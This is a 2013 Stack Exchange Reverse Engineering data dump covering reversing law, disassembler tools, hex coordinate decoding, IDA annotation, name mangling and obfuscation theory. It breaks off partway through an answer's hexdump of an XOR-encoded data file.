  <row Id="2373" PostTypeId="1" AcceptedAnswerId="2375" CreationDate="2013-06-28T10:18:03.607" Score="3" ViewCount="199" Body="&lt;p&gt;Following the question about &quot;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2372/how-to-set-up-a-lab-for-reversing-a-mass-transit-ticketing-system&quot;&gt;How to set-up a lab for reversing a mass transit ticketing system?&lt;/a&gt;&quot;, I would like to know what are the legal issues about setting up such a lab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems clear that, depending on the country (or the continent: America/Europe), you might encounter a few problems just looking at such system. But, is there ways to work around or just to not get caught ? And, what is really really strictly forbidden ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-07-01T07:08:52.353" Title="What are the legal issues when trying to reverse a mass transit ticketing system?" Tags="|law|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2375" PostTypeId="2" ParentId="2373" CreationDate="2013-06-28T12:20:14.923" Score="4" Body="&lt;p&gt;The first law is, &quot;Don't reverse what you don't own&quot;.&#xA;When you pirate software, and then reverse it you do something that will bite you in the ass. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;United States&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the United States even if an artifact or process is protected by trade secrets, reverse-engineering the artifact or process is often lawful as long as it is obtained legitimately. Patents, on the other hand, need a public disclosure of an invention, and therefore, patented items do not necessarily have to be reverse-engineered to be studied. (However, an item produced under one or more patents could also include other technology that is not patented and not disclosed.) One common motivation of reverse engineering is to determine whether a competitor's product contains patent infringements or copyright infringements.&#xA;The reverse engineering of software in the US is generally a breach of contract as most EULAs specifically prohibit it, and courts have found such contractual prohibitions to override the copyright law which expressly permits it; see Bowers v. Baystate Technologies.&#xA;Sec. 103(f) of the DMCA (17 U.S.C. § 1201 (f)) says that if you legally obtain a program that is protected, you are allowed to reverse-engineer and circumvent the protection to achieve interoperability between computer programs (i.e., the ability to exchange and make use of information). The section states:&#xA;(f) Reverse Engineering.—&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Notwithstanding the provisions of subsection (a)(1)(A), a person who has lawfully obtained the right to use a copy of a computer program may circumvent a technological measure that effectively controls access to a particular portion of that program for the sole purpose of identifying and analyzing those elements of the program that are necessary to achieve interoperability of an independently created computer program with other programs, and that have not previously been readily available to the person engaging in the circumvention, to the extent any such acts of identification and analysis do not constitute infringement under this title.&lt;/li&gt;&#xA;&lt;li&gt;Not withstanding the provisions of subsections (a)(2) and (b), a person may develop and employ technological means to circumvent a technological measure, or to circumvent protection afforded by a technological measure, in order to enable the identification and analysis under paragraph (1), or for the purpose of enabling interoperability of an independently created computer program with other programs, if such means are necessary to achieve such interoperability, to the extent that doing so does not constitute infringement under this title.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The information acquired through the acts permitted under paragraph (1), and the means permitted under paragraph (2), may be made available to others if the person referred to in paragraph (1) or (2), as the case may be, provides such information or means solely for the purpose of enabling interoperability of an independently created computer program with other programs, and to the extent that doing so does not constitute infringement under this title or violate applicable law other than this section.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For purposes of this subsection, the term 「interoperability」 means the ability of computer programs to exchange information, and of such programs mutually to use the information which has been exchanged.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;European Union&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Article 6 of the 1991 EU Computer Programs Directive allows reverse engineering for the purposes of interoperability, but prohibits it for the purposes of creating a competing product, and also prohibits the public release of information obtained through reverse engineering of software.&#xA;In 2009, the EU Computer Program Directive was superseded and the directive now states:[29]&#xA;(15) The unauthorised reproduction, translation, adaptation or transformation of the form of the code in which a copy of a computer program has been made available constitutes an infringement of the exclusive rights of the author. Nevertheless, circumstances may exist when such a reproduction of the code and translation of its form are indispensable to obtain the necessary infor­mation to achieve the interoperability of an indepen­dently created program with other programs. It has therefore to be considered that, in these limited circum­stances only, performance of the acts of reproduction and translation by or on behalf of a person having a right to use a copy of the program is legitimate and compatible with fair practice and must therefore be deemed not to require the authorisation of the right­holder. An objective of this exception is to make it possible to connect all components of a computer system, including those of different manufacturers, so that they can work together. Such an exception to the author's exclusive rights may not be used in a way which prejudices the legitimate interests of the rightholder or which conflicts with a normal exploitation of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source:Wikipedia&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Anyway, reversing a ticketing system will most probably be seen as illegal as there is nothing to gain expect from free travel exploitation. If you represent a university you might get this done legally.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="53" LastEditDate="2013-07-01T07:08:52.353" LastActivityDate="2013-07-01T07:08:52.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2377" PostTypeId="2" ParentId="2354" CreationDate="2013-06-28T21:07:17.390" Score="6" Body="&lt;p&gt;Cubesuite+ can disassemble hex files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Download and install &lt;a href=&quot;http://www.renesas.com/products/tools/ide/ide_cubesuite_plus/index.jsp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cubesuite+ from Renesas&lt;/a&gt;. V2.0.0 was used in this instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Start Cubesuite+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Go to Project -&gt; Create New Project&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6QLK.png&quot; alt=&quot;Cubesuite+&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Change the Microcontroller to the correct one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Change the Kind of Project to &quot;Debug Only&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7qLx.png&quot; alt=&quot;Project setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Once the project has been created, in the Project Tree, right click on Download files and go to Add&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) Find your hex or bin file and load it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HdQg2.png&quot; alt=&quot;Add download file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8) Go to Debug -&gt; Build and Download&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9) The 78K0R simulator starts and the disassembly is visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have yet to work out how to denote instruction and data segments.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2013-06-28T21:07:17.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2378" PostTypeId="1" AcceptedAnswerId="2413" CreationDate="2013-06-28T23:19:52.047" Score="6" ViewCount="9723" Body="&lt;p&gt;&lt;a href=&quot;http://www.hopperapp.com/&quot; rel=&quot;noreferrer&quot;&gt;Hopper&lt;/a&gt; seems to be focused on Mac, but how does its capabilities on Windows or Linux compares with the free version of IDA for reversing x86/x64 executables?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hopperapp.com/&quot; rel=&quot;noreferrer&quot;&gt;Hopper&lt;/a&gt; seems to have all the major features IDA has; a graph view, ability to rename objects, and a Python API, yet IDA is still the standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these features in Hopper as effective as in IDA? Are there any known deficiencies in Hopper? &lt;/p&gt;&#xA;" OwnerUserId="2192" LastEditorUserId="189" LastEditDate="2013-07-02T12:13:02.823" LastActivityDate="2013-07-05T00:47:57.297" Title="How is Hopper on Windows or Linux?" Tags="|tools|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2379" PostTypeId="1" AcceptedAnswerId="2380" CreationDate="2013-06-29T01:55:39.363" Score="3" ViewCount="3931" Body="&lt;p&gt;Sorry if this is the wrong place to ask this but I'm stumped. I'm looking at iOS code as follows. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- (NSString *)currentE6Location {&#xA;    CLLocationCoordinate2D loc = [AppDelegate instance].mapView.centerCoordinate;&#xA;    return [NSString stringWithFormat:@&quot;%08x,%08x&quot;, (int)(loc.latitude*1E6), (int)(loc.longitude*1E6)];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it's pretty simple.. From my understanding is they are taking a lat/lon and changing it from a float to an int then converting the int to a hex that is 0 padded in the front. So the hex value is 8 chars in length. The issue I'm having is do the same thing in python..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the iOS app sends hex values like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;36.968772,-122.013498   &quot;0234194f,f8ba38ae&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first set are lat/long and the 2nd are roughly their hex values&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lat works just fine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0234194f = 36968783&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &#xA;    36968783 / 1e6 = 36.968783 (like I said its a rough estimate between the two)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the 2nd one is odd&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f8ba38ae = 4172953774&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The seem to use a 4 there if it's a - value for lon since you can't have a negative int has a hex value. So dropping the 4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;172953774 / 1e6 = 172.953774 (so knowing the 4 is there it would be -172.953774)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm a bit stumped on why it works fine for the lat but not the lon..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again sorry if this is the wrong site for this.. please close if it is. &lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2013-06-29T02:21:34.910" Title="Converting hex value to lat/long" Tags="|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2380" PostTypeId="2" ParentId="2379" CreationDate="2013-06-29T02:21:34.910" Score="4" Body="&lt;p&gt;I'm not sure that this is the right place -- StackOverflow would have been a fine place to ask -- but I'll answer anyway. Essentially the issue is that &lt;code&gt;%x&lt;/code&gt; treats the argument as an unsigned int. So the value &lt;code&gt;f8ba38ae&lt;/code&gt; is the two's complement representation of the original signed int.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can convert it back easily, though, for example with this Python snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import struct&#xA;&amp;gt;&amp;gt;&amp;gt; struct.unpack('&amp;gt;i', 'f8ba38ae'.decode('hex'))[0]&#xA;-122013522&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-06-29T02:21:34.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2381" PostTypeId="1" CreationDate="2013-06-29T08:51:48.163" Score="2" ViewCount="1172" Body="&lt;p&gt;When using IDA Pro, there are a number of features that can be used to make reading the disassembled code far easier - renaming variables, defining data structures, colouring blocks of code, moving blocks of code about (in addition to the graph, which is very useful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a conventional disassembler, this isn't available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traditionally, I would use a combination of printed out code and pencil along with annotated text files to analyse the disassembly, but I feel this is a long way from what IDA Pro provides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools to make this job easier? I am not looking for alternative graphical disassemblers to IDA as there will always be times when you are limited to the output from tools such as objdump or proprietary command line utilities.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2013-06-29T20:42:13.040" LastActivityDate="2013-06-30T02:21:05.967" Title="Tools for annotating/describing disassembly" Tags="|tools|disassembly|" AnswerCount="1" CommentCount="6" ClosedDate="2013-07-07T10:44:07.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="2382" PostTypeId="2" ParentId="2381" CreationDate="2013-06-30T01:12:56.863" Score="5" Body="&lt;p&gt;I agree with comments above. IDA Pro does offer everything one might need to annotate your work and keep it organized. IDA Pro offers four types of comments: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Regular Comments.&lt;/strong&gt; &lt;em&gt;Regular comments&lt;/em&gt; are placed at the end of each assembly line and pretty straight forward to use. In order to insert regular comment you could just right-click in the right margin of the assembly or press colon (:) hot key.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Repeatable Comments.&lt;/strong&gt; &lt;em&gt;Repeatable comment&lt;/em&gt; is a comment which automatically appears in multiple locations. It behaves in cross-reference like manner. For example, &lt;em&gt;repeatable comment&lt;/em&gt; put on &lt;code&gt;je short 121212&lt;/code&gt; would not only show next to the instruction, but will also propagate to &lt;code&gt;121212&lt;/code&gt; address. Basically, original comment gets echoed to the referenced location. One can place &lt;em&gt;repeatable comment&lt;/em&gt; by pressing semicolon (;) hotkey.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Anterior and Posterior Lines.&lt;/strong&gt; &lt;em&gt;Anterior and posterior lines&lt;/em&gt; are full-line comments, which one can place before or after disassembly line. These type of comments is not prefixed with semicolon character.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Function Comment.&lt;/strong&gt; &lt;em&gt;Function comments&lt;/em&gt; are comments grouped on the top or the bottom of the function. Those are very useful to create notes on function prototypes. &lt;em&gt;Function comments&lt;/em&gt; are created by highlighting function name and creating &lt;em&gt;regular comment&lt;/em&gt; or &lt;em&gt;repeatable comment&lt;/em&gt;. Please note, in case you create &lt;em&gt;repeatable comment&lt;/em&gt;, it will get echoed to every location the function is called from.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It almost feels like you are trying to find ways to improve your workflow. What makes the most sense to me is to have your workflow organized in certain predetermined and structured way, get consistent with it, and constantly improve on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several things might help you organize your workflow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create predefined sub-directory for each project you work with. You can create an empty template sub-directory structure, which you can copy to new project. It will stay consistent  through out different projects and will make it very easy to store, navigate and search for stuff. Think of what makes sense to you. Ultimately, it needs to make sense to you and work for you. &lt;/li&gt;&#xA;&lt;li&gt;Create report template. Again, you can have it anyway you like it. The important thing is to have a template. You can build and improve on it as you go. As an example, I have my working version of a report divided into two main sub-sections: static analysis and execution. I describe everything 'stationary' about a binary in my static analysis. In addition, I use 'execution' section to describe what happens whenever binary runs. &lt;/li&gt;&#xA;&lt;li&gt;Maintain notes in organized manner. You can run a file where you maintain your notes in a structured way. Again, it is very much arbitrary thing. Whatever works for you. I prefer not to clutter IDA with excessive comments. For example, I like to create C-style representation of stuff. I usually keep it at the end of the 'notes' file. Other comments go in front. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Eventually, we are users, who 'drive' tools. &#xA;Remember, at times a great tool is as good as one who uses it ;)&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-06-30T02:21:05.967" LastActivityDate="2013-06-30T02:21:05.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2384" PostTypeId="1" AcceptedAnswerId="2410" CreationDate="2013-06-30T20:50:12.677" Score="5" ViewCount="1015" Body="&lt;p&gt;&lt;a href=&quot;http://www.saikoa.com/dexguard&quot; rel=&quot;noreferrer&quot;&gt;Dexguard&lt;/a&gt; claims a &quot;hacker protection factor&quot; of 35 without any explanation of where the number comes from or what it means. I figure the actual statement is meaningless, but I'm very curious to see who is assessing these protection factors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Google search didn't turn up anything, so I thought that the Dexguard authors probably made it up themselves. But &lt;a href=&quot;https://twitter.com/nflnfl/status/241442557580673024&quot; rel=&quot;noreferrer&quot;&gt;this Twitter post&lt;/a&gt; implies that there are other &quot;hacker protection factors&quot;, out there which 35 can be compared with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what the deal with this is? Is it just more pointless puffery? Is there an actual group that is assigning these numbers?&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2013-07-04T02:15:19.357" Title="Origin of &quot;Hacker Protection Factor&quot;" Tags="|obfuscation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2385" PostTypeId="2" ParentId="2384" CreationDate="2013-06-30T21:00:58.420" Score="5" Body="&lt;p&gt;It's something that their marketing team made up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no such &quot;hacker protection factor&quot; rating in the industry.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-06-30T21:00:58.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2386" PostTypeId="2" ParentId="2340" CreationDate="2013-07-01T08:50:21.750" Score="1" Body="&lt;p&gt;I do not know any real-life opaque predicate. But there is a very constructive predicate obfuscator in the paper &lt;a href=&quot;http://rosaec.snu.ac.kr/meet/file/20090204paperc.pdf&quot; rel=&quot;nofollow&quot;&gt;Limits of Static Analysis for Malware Detection&lt;/a&gt;. It is proved to be NP-hard for precise static analysis.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2013-07-01T08:50:21.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2387" PostTypeId="2" ParentId="2384" CreationDate="2013-07-01T09:27:41.350" Score="6" Body="&lt;h2&gt;&lt;strong&gt;Epic Marketing Technique!&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you look at their cheaper product you see it has it HPF of 5. Throwing with numbers or something people understand is a common trick when trying to sell something customers don't understand but want (e.g. IT security, volcano insurance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a rating of 35 is high. And hardly seen in the industry, other known packers like UPX, ASPack and y0da don't even have a rating of 1. So you should have a strong consideration.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-07-01T09:27:41.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2388" PostTypeId="1" AcceptedAnswerId="2390" CreationDate="2013-07-01T15:03:23.287" Score="12" ViewCount="3006" Body="&lt;p&gt;When reversing binaries and parsing memory, I often run across strings like &lt;code&gt;&quot;@YAXPAX@&quot;&lt;/code&gt; used to reference procedures.  Is there a name for this type of convention?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe theses strings are symbol references.&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="220" LastEditDate="2013-07-04T22:01:17.797" LastActivityDate="2013-08-11T06:26:01.357" Title="Artifacts similar to &quot;@YAXPAX@&quot; within memory and IDA sessions" Tags="|disassembly|ida|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2390" PostTypeId="2" ParentId="2388" CreationDate="2013-07-01T15:38:14.807" Score="14" Body="&lt;p&gt;I believe this strange stuff comes up due to &lt;a href=&quot;http://en.wikipedia.org/wiki/Name_mangling&quot;&gt;Name Mangling&lt;/a&gt; it is also known as &lt;em&gt;name decoration&lt;/em&gt;. &lt;em&gt;Name Mangling&lt;/em&gt; is mechanism used by compilers to pass semantically relevant information from compilers to linkers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how Wikipedia describes &lt;a href=&quot;http://en.wikipedia.org/wiki/Visual_C++_name_mangling&quot;&gt;Name Mangling for Visual C++ series of compilers&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Visual C++ name mangling is a mangling (decoration) scheme used in Microsoft Visual C++ series of compilers. It provides a way of encoding name and additional information about a function, structure, class or another datatype in order to pass more semantic information from the Microsoft Visual C++ compiler to its linker. Visual Studio and the Windows SDK (which includes the command line compilers) come with the program undname which may be invoked to obtain the C-style function prototype encoded in a mangled name. The information below has been mostly reverse-engineered. There is no official documentation for the actual algorithm used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-01T20:53:11.437" LastActivityDate="2013-07-01T20:53:11.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2391" PostTypeId="1" AcceptedAnswerId="2393" CreationDate="2013-07-01T23:35:25.503" Score="5" ViewCount="449" Body="&lt;p&gt;My question is related to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1669/what-is-an-opaque-predicate&quot;&gt;this question&lt;/a&gt; with the excellent answer of @Rolf Rolles. Since &lt;a href=&quot;http://profs.sci.univr.it/~dallapre/AMAST06.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the paper of M.D. Preda et al&lt;/a&gt; is quite technique so I wonder whether I understand their idea or not. The following phrase is quoted from the paper: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The basic idea is to model attackers as abstract interpretations of&#xA;  the concrete program behaviour, i.e., the concrete program semantics.&#xA;  In this framework, an attacker is able to break an opaque predicate&#xA;  when the abstract detection of the opaque predicate is equivalent to&#xA;  its concrete detection.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As fas as I understand, they have given a formal model of attacker as someone trying to obtain the properties of program using a sound approximation as abstract interpretation (AI). The attacker will success if the AI procedure is complete (informally speaking, the fixed-point obtained in the abstract domain &quot;maps&quot; also back to the fixed-point in the concrete domain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concretely speaking, their model can be considered as an AI-based algorithm resolving the opaque predicate. In fact, this idea spreads everywhere (e.g. in &lt;a href=&quot;https://www.cs.ox.ac.uk/people/leopold.haller/papers/sas2012.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt;, the authors have proven that the DPLL algorithm used in SMT solvers is also a kind of abstract interpretation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, in the worst case where the abstract interpretation is not complete then the attacker may never recover the needed properties (e.g. he can approximate but he will never recover the exact solution for a well-designed opaque predicate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wonder that the model of attacker as abstract domains may have some limits, because we still not sure that all attacks can be modelled in AI. Then a straitghtforward question comes to me is &lt;em&gt;&quot;What happens if the attacker uses some other methods to resolve the opaque predicate ?.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a trivial example, the attacker can simply use the dynamic analysis to bypass the opaque predicate (he accepts some incorrectness, but finally he may be able to get the properties he wants).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone please give me some suggestions ?&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-07-02T13:00:20.343" Title="Formal obfuscation" Tags="|obfuscation|deobfuscation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2392" PostTypeId="2" ParentId="2391" CreationDate="2013-07-02T01:21:06.877" Score="4" Body="&lt;p&gt;If I understood it correct, you have actually answered your question yourself:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...the attacker can simply use the dynamic analysis to bypass the opaque predicate (he accepts some incorrectness, but finally he can get the properties he wants).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Opaque predicates, anti-debugging techniques, anti-reversing techniques and other protection mechanism are designed to make reversing harder, but never impossible. At times it is less important how exactly something was designed, then what it actually does. Sometimes good reverser gets to know code and design much better then people who designed it, which allows for attacks to be implemented, or patches to be created.  &lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-07-02T01:21:06.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2393" PostTypeId="2" ParentId="2391" CreationDate="2013-07-02T04:11:40.390" Score="6" Body="&lt;p&gt;Any obfuscation technique (or its formalization) targets one or more assumptions made by some class of analyses A -- in essence, the obfuscation transforms a program P0 into a different representation P1 that has the same execution behavior as P0 but which violates the assumptions made by the analyses A.  In doing so, the obfuscation necessarily defines a class of attacks that it is effective against; it says nothing about attacks that don't fall within that class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Abstract interpretation is a formalization of program analysis that assumes sound static analysis (e.g., consider the requirements imposed on the abstract domain and abstraction/concretization functions).  So abstract interpretation serves to formalize obfuscations that make those assumptions and helps us reason about analyses/attacks that meet those assumptions.  It doesn't describe all possible obfuscations --- e.g., any obfuscation that relies on runtime code generation or modification --- and doesn't speak to attacks that don't meet those assumptions.  Thus, as you propose, an attacker who uses dynamic analysis or potentially unsound techniques essentially side-steps the rules assumed by abstract interpretation.&lt;/p&gt;&#xA;" OwnerUserId="2303" LastActivityDate="2013-07-02T04:11:40.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2394" PostTypeId="1" AcceptedAnswerId="2399" CreationDate="2013-07-02T05:53:22.130" Score="11" ViewCount="7996" Body="&lt;p&gt;Sometimes when you load a binary manually in IDA you wind up with segments that have unknown read write and execute flags. You can see them under the Segments subview (&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F7&lt;/kbd&gt;). Is there a way to change these flags from within the GUI of IDA without running a script and modifying them? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like such a basic piece of functionality which is very important for the proper operation of the Hex Rays decompiler. I've been using the class to express segment rights which just seems wrong considering these flags exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I would appreciate the question being answered in the general case, in this particular case I'm dealing with flat binary ARM files with code and data intermixed. All page level permissions are set up by the software when it loads by directly mapping them via the MMU.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-07-02T17:01:59.193" LastActivityDate="2015-07-01T16:33:46.260" Title="How can I change the Read/Write/Execute flags on a segment in IDA?" Tags="|ida|segmentation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2395" PostTypeId="2" ParentId="2319" CreationDate="2013-07-02T08:14:46.040" Score="4" Body="&lt;p&gt;I personally recommend &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;CFF Explorer&lt;/a&gt; for reversing purposes as it provides a large volume of additional information on a binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GkpUa.png&quot; alt=&quot;CFF Explorer&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1548" LastActivityDate="2013-07-02T08:14:46.040" CommentCount="0" CommunityOwnedDate="2015-07-16T07:00:40.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="2396" PostTypeId="2" ParentId="2260" CreationDate="2013-07-02T08:38:10.197" Score="16" Body="&lt;p&gt;Looking at it in &lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;noreferrer&quot;&gt;OllyDbg&lt;/a&gt; it looks like a heavy task. Looks like a custom database with encrypted and (custom?) compressed data. This or the like would usually be the case in such applications. A flat file with structured data is not part of this one.&lt;/p&gt;&#xA;&lt;p&gt;Anyhow. As a starter:&lt;/p&gt;&#xA;&lt;p&gt;A quick check after trying out some general compression tools like 7z or binwalk, (have not tested it), can be to use &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;noreferrer&quot;&gt;ProcMon&lt;/a&gt; from Sysinternals. Start ProcMon, then your application and set filter on the application in ProcMon. You quickly find that:&lt;/p&gt;&#xA;&lt;p&gt;In short it reads in chunks of varying size, but for main data processing it reads chunks of 16384 bytes. The process in steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate seed map of 256 integers. (Done once at application start.)&lt;/li&gt;&#xA;&lt;li&gt;Loop:&lt;br /&gt;&#xA;2.1 Read 16384 bytes into buffer from .dat file.&lt;br /&gt;&#xA;2.2 XOR routine on buffer using offset and last four bytes of buffer as base.&lt;br /&gt;&#xA;2.3 Checksum on XOR'ed buffer using seed map from step 1.&lt;br /&gt;&#xA;2.4 Parse buffer and read out data.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The application also reads same chunks multiple times.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;2.1:&lt;/h1&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;013D0010  D4 9E BE BF 1C 1C 0B D4 C5 E7 11 B5 09 48 87 FA  Ôž¾¿ÔÅçµ.H‡ú&#xA;013D0020  29 4C 03 C9 DE 4A 2B 71 74 7F D2 48 E7 13 94 4E  )LÉÞJ+qtÒHç”N&#xA;...&#xA;013D3FF0  6A D1 55 92 E2 16 60 53 69 89 86 7D D9 D8 10 BC  jÑU’â`Si‰†}ÙØ¼&#xA;013D4000  90 F3 D1 48 28 47 34 EC 39 36 EC 4D 69 2A 7D E5  óÑH(G4ì96ìMi*}å&#xA;                                             |_____._____|&#xA;                                                   | &#xA;                         